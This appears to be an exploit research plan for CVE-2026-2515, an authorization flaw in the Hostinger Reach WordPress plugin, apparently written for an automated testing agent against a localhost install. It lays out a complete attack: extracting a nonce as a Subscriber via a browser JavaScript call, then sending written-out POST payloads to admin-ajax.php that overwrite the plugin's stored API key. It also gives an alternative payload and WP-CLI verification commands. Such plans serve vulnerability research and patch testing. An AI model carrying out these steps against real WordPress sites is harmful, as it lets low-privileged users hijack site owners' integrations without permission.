Research Plan: CVE-2026-2515 - Hostinger Reach API Key Unauthorized Update

1. Vulnerability Summary

The Hostinger Reach plugin for WordPress (versions <= 1.3.8) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function handle_ajax_action (associated with the hostinger_reach_connection_notice_action action) fails to perform a capability check (e.g., current_user_can('manage_options')) before updating the plugin's API key in the database.

While the action is protected by a nonce, the nonce is generated and exposed to any authenticated user (including Subscribers) who can access the WordPress admin dashboard where the connection notice is displayed. An attacker can exploit this to inject a malicious API key, potentially hijacking the plugin's integration with Hostinger's email marketing services.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: hostinger_reach_connection_notice_action
• Method: POST
• Parameters:
  • action: hostinger_reach_connection_notice_action
  • nonce: A valid nonce for the action, found in the hostinger_reach_connection_notice_data JS object.
  • choice: The payload intended to be saved as the API key (or used to trigger the update).
• Authentication: Authenticated (Subscriber-level access or higher).
• Precondition: The plugin must not already be connected to a site, and the API key option in the database must be empty.

3. Code Flow

1. Notice Enqueueing: The plugin enqueues frontend/dist/connection-notice.js and localizes it with hostinger_reach_connection_notice_data.
2. Nonce Exposure: The localization includes a nonce generated via wp_create_nonce( 'hostinger_reach_connection_notice_action' ).
3. AJAX Trigger: The JS in connection-notice.js listens for clicks on buttons with the class .hostinger-reach-action-button.
4. Request Formation: When clicked, it sends a POST request to admin-ajax.php with the choice parameter taken from the button's data-action attribute.
5. Vulnerable Sink: The PHP function handle_ajax_action receives the request:
   • It calls check_ajax_referer() or wp_verify_nonce() using the provided nonce.
   • Crucially, it skips current_user_can() checks.
   • It takes the value of $_POST['choice'] and updates a WordPress option (likely hostinger_reach_api_key or hostinger_reach_access_token) directly.

4. Nonce Acquisition Strategy

The nonce is localized for the connection-notice.js script. Even Subscribers see the admin notice if it is not restricted to administrators.

1. Navigate: Login as a Subscriber and navigate to the main dashboard (/wp-admin/index.php).
2. Extract: Use browser_eval to extract the nonce from the global JavaScript object:

   window.hostinger_reach_connection_notice_data?.nonce
   

3. Verify Action: Ensure the action matches the one in the object:

   window.hostinger_reach_connection_notice_data?.action // Should be "hostinger_reach_connection_notice_action"
   

5. Exploitation Strategy

1. Setup:
   • Install Hostinger Reach <= 1.3.8.
   • Ensure the plugin is not connected (check that the option hostinger_reach_api_key does not exist or is empty).
   • Create a Subscriber user.
2. Capture Nonce:
   • Log in as the Subscriber.
   • Access /wp-admin/.
   • Run browser_eval to get the nonce from hostinger_reach_connection_notice_data.nonce.
3. Trigger Exploit:
   • Use the http_request tool to send a POST request.
   • Payload:
     • URL: http://localhost:8888/wp-admin/admin-ajax.php
     • Headers: Content-Type: application/x-www-form-urlencoded
     • Body:

       action=hostinger_reach_connection_notice_action&nonce=[NONCE]&choice=pwned_api_key_1337
       

4. Verification:
   • Use WP-CLI to check if the API key was updated in the database.

6. Test Data Setup

• Plugin Version: 1.3.8
• User: Subscriber (user_login: subscriber, user_pass: subscriber)
• Initial State:

  wp option delete hostinger_reach_api_key --quiet
  wp option delete hostinger_reach_connection_data --quiet
  

7. Expected Results

• The AJAX request should return a JSON success message: {"success": true, "data": { ... }}.
• The choice parameter value should be saved into the database.
• The response might include a redirect_url as seen in connection-notice.js.

8. Verification Steps

After sending the HTTP request, verify the database state using WP-CLI:

# Check common option names for API keys in this plugin
wp option get hostinger_reach_api_key
# OR
wp option get hostinger_reach_connection_data

If the output is pwned_api_key_1337, the exploit is successful.

9. Alternative Approaches

If the choice parameter is not the direct sink for the API key, it might be that the choice triggers a "Connect" process where the plugin expects a token or key parameter in the same request that isn't used by the JS but is processed by the PHP:

action=hostinger_reach_connection_notice_action&nonce=[NONCE]&choice=connect&api_key=pwned_api_key_1337

Check the PHP handle_ajax_action method for other $_POST or $_REQUEST parameters if choice alone does not work. Given the JS code t.append("choice", e), choice is the primary candidate.